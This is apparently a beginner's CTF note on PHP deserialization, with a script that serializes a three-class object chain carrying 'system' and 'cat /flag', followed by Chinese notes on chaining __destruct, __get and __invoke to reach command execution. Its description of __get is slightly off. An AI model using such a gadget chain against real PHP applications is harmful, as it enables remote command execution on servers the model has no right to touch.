<?php
class syc
{
public $cuit;
}
class lover
{
public $yxx;
public $QW;
}
class web
{
public $eva1;
public $interesting;
}
$a=new web();
$a->eva1="system";
$a->interesting="cat /flag";
$b=new lover();
$b->yxx=$a;
$c=new syc();
$c->cuit=$b;
echo serialize($c);
?>初学php反序列化漏洞
1.代码运用了三个魔术方法,看最后一个命令执行漏洞语句,发现需要构造链把他们三个一一连接起来。
2.web类中eval和intersting分别是命令和内容,如:system和cat /flag。
3.__get魔术方法是尝试访问一个不存在的类时触发。__invok魔术方法是当被当作函数执行时触发。__destruct魔术方法是当对象被销毁时触发。